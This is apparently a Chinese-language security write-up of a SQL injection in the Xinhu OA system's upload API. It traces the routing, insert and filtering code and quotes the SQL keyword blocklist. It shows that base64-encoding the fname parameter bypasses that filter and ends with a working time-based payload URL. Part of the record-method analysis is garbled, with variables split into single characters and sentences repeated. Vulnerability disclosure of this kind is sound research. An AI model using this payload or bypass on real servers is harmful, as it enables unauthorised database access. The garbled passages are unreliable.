漏洞描述
信呼OA办公系统uploadAction存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
环境搭建
源码下载地址:https://github.com/rainrocka/xinhu
下载后解压到本地网站根目录下,配置好数据库,然后安装即可
默认密码是admin/123456,登录进去得更改一次密码
路由分析
在include/View.php中详细介绍了路由的定义
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT;//define('PROJECT', 'webmain');
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);
define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);
$_m = $m;
if($rock->contain($m, '|')){
$_mas = explode('|', $m);//以|分割变量m
$m= $_mas[0];
$_m = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));//调用strformat进行格式化,其中?0、?1 等是占位符
$rand = date('YmdHis').rand(1000,9999);//随机值
if(substr($d,-1)!='/' && $d!='')$d.='/';//若$d最后一个字符不是/且$d不是空就在$d后面加一个/
$errormsg = '';
$methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);//$actpath:根目录/webmain/$d/$_m
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);//$actfile:根目录/webmain/$d/$_m/$mAction.php
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);//$actfile1:根目录/webmain/$d/$_m/$_mAction.php
$actbstr = null;
//依次判断$actfile1以及$actfile哪个文件存在,哪个存在包含哪个
if(file_exists($actfile1))
include_once($actfile1);
if(file_exists($actfile)){
include_once($actfile);
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();//创建一个与$m相关类的对象
$actname = ''.$a.'Action';//在$a后接一个Action
if($ajaxbool == 'true')//判断ajaxbool是否为true
$actname = ''.$a.'Ajax';//在$a后接一个Ajax
if(method_exists($xhrock, $actname)){//检测类中是否存在该方法
$xhrock->beforeAction();
$actbstr = $xhrock->$actname();
$xhrock->bodyMessage = $actbstr;
if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
}else{
$methodbool = false;
if($ajaxbool == 'false')echo ''.$actname.' not found;';
}
$xhrock->afterAction();
}else{
echo 'actionfile not exists;';
$xhrock = new Action();
}
$_showbool = false;
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){
$xhrock->smartydata['p'] = $p;
$xhrock->smartydata['a'] = $a;
$xhrock->smartydata['m'] = $m;
$xhrock->smartydata['d'] = $d;
$xhrock->smartydata['rand'] = $rand;
$xhrock->smartydata['qom'] = QOM;
$xhrock->smartydata['path'] = PATH;
$xhrock->smartydata['sysurl']= SYSURL;
$temppath = ''.ROOT_PATH.'/'.$p.'/';
$tplpaths = ''.$temppath.'/'.$d.''.$m.'/';
$tplname = 'tpl_'.$m.'';
if($a!='default')$tplname .= '_'.$a.'';
$tplname .= '.'.$xhrock->tpldom.'';
$mpathname = $tplpaths.$tplname;
if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
if(!file_exists($mpathname) || !$methodbool){
if(!$methodbool){
$errormsg = 'in ('.$m.') not found Method('.$a.');';
}else{
$errormsg = ''.$tplname.' not exists;';
}
echo $errormsg;
}else{
$_showbool = true;
}
}
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
$xhrock->setHtmlData();
$da = $xhrock->smartydata;
foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
include_once($mpathname);
$_showbool = false;
}
这里用get方式会接收m,d,a,ajaxbool参数
- a j a x b o o l :用于判断请求是否为 A J A X 请求,默认值从 ajaxbool:用于判断请求是否为AJAX请求,默认值从 ajaxbool:用于判断请求是否为AJAX请求,默认值从rock->jm->gettoken获取。当ajaxbool为false时,是对xxxAction.php的内容访问,当ajaxbool为true时,是对xxxAjax.php的内容进行访问
- $m, $a, $d:分别代表php文件名(不含Action)、动作名(action)、目录名(webadmin下的子目录),默认值分别为index,default、空字符串。
举例:index.php?a=deluser&m=imgroup&d=&ajaxbool=true&gid=38&sid=1
- $m:user,表示请求的是webadmin下的imgroup 目录。
- $a:list,表示请求的方法是 deluser。
- ajaxbool:true,表示这是一个 AJAX 请求
漏洞分析
漏洞的位置在webmain/task/api/uploadAction.php中
核心代码在getmfilvAction()方法里边
public function getmfilvAction()
{
$fileid = (int)$this->get('fileid','0');
$frs = m('file')->getone($fileid);
if(!$frs)return returnerror('不存在');
$lujing = $frs['filepathout'];
if(isempt($lujing)){
$lujing = $frs['filepath'];
if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');
}
$fileext = $frs['fileext'];
$fname = $this->jm->base64decode($this->get('fname'));
$fname = (isempt($fname)) ? $frs['filename'] : ''.$fname.'.'.$fileext.'';
$filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';
$this->rock->createtxt($filepath, file_get_contents($lujing));
$uarr = array(
'filename' => $fname,
'fileext' => $fileext,
'filepath' => $filepath,
'filesize' => filesize($filepath),
'filesizecn' => $this->rock->formatsize(filesize($filepath)),
'optid' => $this->adminid,
'optname' => $this->adminname,
'adddt' => $this->rock->now,
'ip' => $this->rock->ip,
'web' => $this->rock->web,
);
$uarr['id'] = m('file')->insert($uarr);
return returnsuccess($uarr);
}
getmfilvAction 方法的主要功能是从数据库中获取文件信息,读取文件内容,生成新的文件,并将新文件的信息记录到数据库中。最后,返回生成文件的信息。
在该方法中有两个可以控制的参数,一个是fileid另一个是fname,但是fileid参数会进行类型转换为int类型存在注入几率几乎为零,其中fname还进行了base64解码操作,最后将两个参数的内容连同其他文件基本信息进行数据库的插入操作,在这个地方想要确定有sql注入需要确定get方法以及insert方法是否存在sql语句的过滤
进入Model.php中的inser()方法
public function insert($arr)
{
$nid = 0;
if($this->record($arr, ''))$nid = $this->db->insert_id();
return $nid;
}
对传入的参数进行record方法的校验若不为false,那么就获取到其id值
跟进record方法
再跟进 public function record(
t
a
b
l
e
,
table,
table,array,$where=‘’)
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
$table = $this->gettables($table);
if($addbool){
$sql="insert into $table set $cont";
}else{
$where = $this->getwhere($where);
$sql="update $table set $cont where $where";
}
return $this->tranbegin($sql);
}
代码解读:该方法首先是是对where参数进行非空判断,前面代码是将where设置为空了,那么
a
d
d
b
o
o
l
就是
f
a
l
s
e
。接着就是判断
addbool就是false。接着就是判断
addbool就是false。接着就是判断array是否为数组,若是数组就进行遍历将每个字段和对应的值拼接到
c
o
n
t
字符串中并调用
t
o
a
d
d
v
a
l
方法确保传入的字符串被正确地格式化为
S
Q
L
语句中的字符串值,但该方法并没有对
s
q
l
进行任何过滤
;
然后调用
g
e
t
t
a
b
l
e
s
设置表名,接着进入
e
l
s
e
语句,我们清晰的看到
cont字符串中并调用toaddval方法确保传入的字符串被正确地格式化为 SQL 语句中的字符串值,但该方法并没有对sql进行任何过滤;然后调用gettables设置表名,接着进入else语句,我们清晰的看到
cont字符串中并调用toaddval方法确保传入的字符串被正确地格式化为SQL语句中的字符串值,但该方法并没有对sql进行任何过滤;然后调用gettables设置表名,接着进入else语句,我们清晰的看到sql变量直接将$cont语句拼接到了sql语句中
接着我们去get方法中看看该方法对传入的内容有什么过滤,来到rockClass.php中
public function get($name,$dev='', $lx=0)
{
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}
这个方法只是判断是否进行get传参如果传参成功就进行赋值操作,之后进行非空判断,调用jmucade方法()将其值返回。该方法中并没有对sql语句进行过滤
这个文件里有个construct()方法,实例化rockClass对象就会触发
public function __construct()
{
$this->ip = $this->getclientip();
$this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '' ;
if($this->host && substr($this->host,-3)==':80')$this->host = str_replace(':80', '', $this->host);
$this->url = '';
$this->isqywx = false;
$this->win = php_uname();
$this->HTTPweb = isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT'] : '' ;
$this->web = $this->getbrowser();
$this->unarr = explode(',','1,2');
$this->now = $this->now();
$this->date = date('Y-m-d');
$this->lvlaras = explode(',','select ,
alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
$this->lvlaraa = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');
$this->lvlarab = array();
foreach($this->lvlaraa as $_i)$this->lvlarab[]='';
}
这里过滤大部分sql注入一些敏感字符,通过以上分析发现这个fname参数经过get传参后会进行base64decode方法进行base64解密,那么如果我们将filename传入恶意的sql语句进行base64编码,就会绕过rockClass.php中的construct方法中的sql语句的过滤,之后进行base64解密又拼接到sql语句造成sql注入的形成
漏洞验证
payload:
api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDMpIw==
payload解释:漏洞的位置在webmain/task/api/uploadAction.php中的getmfilv方法中,d传task参数表示在webadmin/task目录下,m传upload|api,第一部分 upload 会被赋值给 $m,第二部分 api 会被赋值给 $_m,表示
api下的uploadAction.php文件,a传getmfilv文件表示调用uploadAction.php的、getmfilv()方法,fname传sql注入的payload,进行base64编码
成功延时